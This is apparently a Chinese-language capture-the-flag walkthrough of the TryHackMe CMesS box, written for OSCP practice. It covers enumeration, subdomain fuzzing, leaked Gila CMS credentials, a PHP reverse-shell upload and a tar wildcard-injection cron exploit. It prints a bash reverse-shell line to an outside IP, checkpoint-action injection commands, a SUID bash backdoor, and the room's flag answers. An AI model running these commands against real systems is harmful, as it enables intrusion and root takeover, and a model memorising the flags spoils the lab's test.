tryhackme记录-linux-0x0A CMesS(medium)

来源

由于最近在备考OSCP,在套餐开始前,心里没底,想要先刷一些靶机来练手,所以在网上找到了一份类似OSCP靶机的清单

Tryhackme
More guided and friendly approach for some rooms but still great boxes and rooms for prep. Active Directory ones here are very good practice for the OSCP.
Linux Windows Active Directory and Networks Other recommended rooms
Mr Robot(medium) Steel Mountain(easy) Attacktive Directory SQL Injection Lab
Thompson(easy) Year of the Owl(hard) Attacking Kerberos Linux Privilege Escalation
Kenobi(easy) Retro(hard) Wreath Network Windows Privilege Escalation
GameZone(easy) Alfred(easy) Reset Git Happens
Skynet(easy) Relevant(medium) Vulnnet: Active NahamStore
Daily bugle(hard) Blueprint(easy) Enterprise
Lazy admin(easy) Hackpark(medium) Ledger
Tomghost(easy) Weasel(官方似乎删除了,没找到) Recommended paths
Rootme(easy) AllSignsPoint2Pwnage Assumed Breach Scenarios: Cyber Security 101
CMesS(medium Anthem Corp Jr Penetration Tester
Ultratech Hack Smarter Security (harder) Lateral Movement and Pivoting Offensive Pentesting
Internal Cyberlens Exploiting Active Directory
Zeno
Boiler CTF
Wonderland
Silver Platter
Year of the Jellyfish

由于机器数量较多,共47台,计划一天打1-2台,在一个月内打完全部机器。目前已将Windows部分打完。

0x0A CMesS(medium)

简介:

你能root这个Gila CMS盒子吗?
请添加到 /etc/hosts MACHINE_IP cmess.thm
请注意,这个盒子不需要暴力破解!

原文:

Can you root this Gila CMS box?
Please add MACHINE_IP cmess.thm to /etc/hosts

Please also note that this box does not require brute forcing!

设置环境变量

export TARGET=10.49.157.248

题目还让我们改host,改一下吧,虽然感觉只要不涉及域,设置host的意义并不大后面被打脸了

sudo echo '10.49.157.248 cmess.thm' >> /etc/hosts

image

信息搜集

使用rustscan和nmap进行端口扫描

rustscan -a $TARGET -r 1-65535 --ulimit 500 -- -sC -sV -T3 -Pn

Open 10.49.157.248:22
Open 10.49.157.248:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:b6:52:d3:93:9a:38:50:b4:23:3b:fd:21:0c:05:1f (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvfxduhH7oHBPaAYuN66Mf6eL6AJVYqiFAh6Z0gBpD08k+pzxZDtbA3cdniBw3+DHe/uKizsF0vcAqoy8jHEXOOdsOmJEqYXjLJSayzjnPwFcuaVaKOjrlmWIKv6zwurudO9kJjylYksl0F/mRT6ou1+UtE2K7lDDiy4H3CkBZALJvA0q1CNc53sokAUsf5eEh8/t8oL+QWyVhtcbIcRcqUDZ68UcsTd7K7Q1+GbxNa3wftE0xKZ+63nZCVz7AFEfYF++glFsHj5VH2vF+dJMTkV0jB9hpouKPGYmxJK3DjHbHk5jN9KERahvqQhVTYSy2noh9CBuCYv7fE2DsuDIF
|   256 21:c3:6e:31:8b:85:22:8a:6d:72:86:8f:ae:64:66:2b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGOVQ0bHJHx9Dpyf9yscggpEywarn6ZXqgKs1UidXeQqyC765WpF63FHmeFP10e8Vd3HTdT3d/T8Nk3Ojt8mbds=
|   256 5b:b9:75:78:05:d7:ec:43:30:96:17:ff:c6:a8:6c:ed (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFUGmaB6zNbqDfDaG52mR3Ku2wYe1jZX/x57d94nxxkC
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 3 disallowed entries 
|_/src/ /themes/ /lib/
|_http-generator: Gila CMS
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

WEB访问及目录扫描

80端口,Powered by Gila CMS

image

目录扫描及网页文件扫描

ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -c
ffuf -u http://$TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -c

image

login为登陆地址,1.开头的响应长度均一样,可能是设置了路由,没有很很多有价值的信息

初始访问

失败的尝试

既然页面上写了这是Gila CMS,那直接搜exp吧,未授权rce只有一个,优先使用这个,拿出来读一下

image

看上去直接在header内进行的rce

image

但是他的payload是直接弹计算器,对getshell无用,因为他的shell_exec没有echo看上去还像无回显的rce,修改payload,ping kali验证一下

image

并没有ping到我监听的tun0网卡,这里才发现个小坑,上面写着在win10上测试了,但我们的靶机是linux啊,需要修改路径

image

改了改还是没执行成功

重新进行信息收集

这里被打脸了,卡住了很久没做出来,查了wp才发现,原来设置host是有用的,需要进行host碰撞

# 先观察响应长度
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm"

# 过滤假阳性words=522的
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://cmess.thm -H "Host: FUZZ.cmess.thm" -fw 522

image

这里成功扫到子域dev,dev一般是开发环境,可能突破点会更多,在加一条host

sudo echo '10.49.157.248 dev.cmess.thm' >> /etc/hosts

访问dev.cmess.thm

image

账号密码到手:[email protected]/KPFTN_f2yxe%

后台getshell

ssh失败

image

尝试登录后台

image

这里我们有了账号密码,且已知系统版本,其实可以只用这个洞了

image

不过没必要,需要账号密码的洞,一般的都是后台文件按上传ge​tshell了,直接手工打就行,经典后台文件上传php reverse shell

image

这里上传后不在的当前目录,翻了一下翻一下在assets下

image

开启监听,访问触发

image

提权

信息搜集

这里想要拿user.txt,还没权限访问andre目录

image

但我们在反后台文件的时候看到了mysql账号密码,只能本地连接,现在已经有一个低权限的shell了,可以尝试进去找有没有其他密码了

image

image

只有一个用户,而且还是我们已经有了凭证的,这个是网站数据库,使用的密码就是登录后台的密码

还是尝试跑linpeas吧,开启lpe,加载linpeas并执行,靶机上没有curl,那就wget下载下来在执行

image

备份文件提权到andre

image

有一个高亮红色的备份压缩文件,尝试解压读取

tar -xzvf /tmp/andre_backup.tar.gz

并没有什么价值,SUID也没有很有价值的文件,检查一下可能含有密码的文件

image

这里只有一个.开头的隐藏文件,尝试读取/opt/.password.bak

image

拿到账号密码UQfsdCB7aAP6,切用户su andre

image

问题1:Compromise this machine and obtain user.txt(thm{c529b5d5d6ab6b430b7eb1903b2b5e1b})

image

Tar 通配符注入提权到root

在以andre的身份在跑一遍linpeas

其实之前发现的计划任务就可以使用,可以劫持

image

*/2 *   * * *   root    cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *
每两分钟执行一次

在www-data阶段我们没有利用这个计划任务的原因是对于/home/andre/backup目录没有写权限,现在我们有权限了,就可以操作了

解释:root用户每分钟会运行一次cd /home/andre/backup && tar -zcf /tmp/andre_backup.tar.gz *

  • * 是 shell 展开
  • tar 会把当前目录下的所有文件名当作参数
  • 如果文件名是 --xxx 这种形式
  • 会被当成 tar 参数

如果我们在/home/andre/backup目录下写入两个文件名字为恶意参数的文件,则执行计划任务的时候命令会被展开达到以root权限反弹shell的目的

方法1-反弹root的shell
# 操作
cd ~/backup
rm note
echo 'bash -i >& /dev/tcp/192.168.196.107/4444 0>&1' > shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=bash shell.sh'

# 命令展开
tar -zcf /tmp/andre_backup.tar.gz \
--checkpoint=1 \
--checkpoint-action=exec=bash shell.sh \
shell.sh

# 等下一次计划任务执行即可

image

成功提权

问题2:Escalate your privileges and obtain root.txt(thm{9f85b7fdeb2cf96985bf5761a93546a2})

image

方法2-拷贝一份bash,并给suid权限
# 操作
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" > exp.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=bash exp.sh'

# 命令展开
tar -zcf /tmp/andre_backup.tar.gz \
--checkpoint=1 \
--checkpoint-action=exec=bash exp.sh \
exp.sh

# 等下一次计划任务执行即可

image

/tmp/bash -p

image

提权成功

总结

  1. 需要写入host的靶机,记得进行一下host碰撞,可能是有突破点的
  2. 多了解一下通配符滥用导致被注入提权的方式
  3. 打靶的话尽量直接cp一个bash给suid权限,这样又快又稳定,但实战不建议,痕迹过重,相当于留了个后门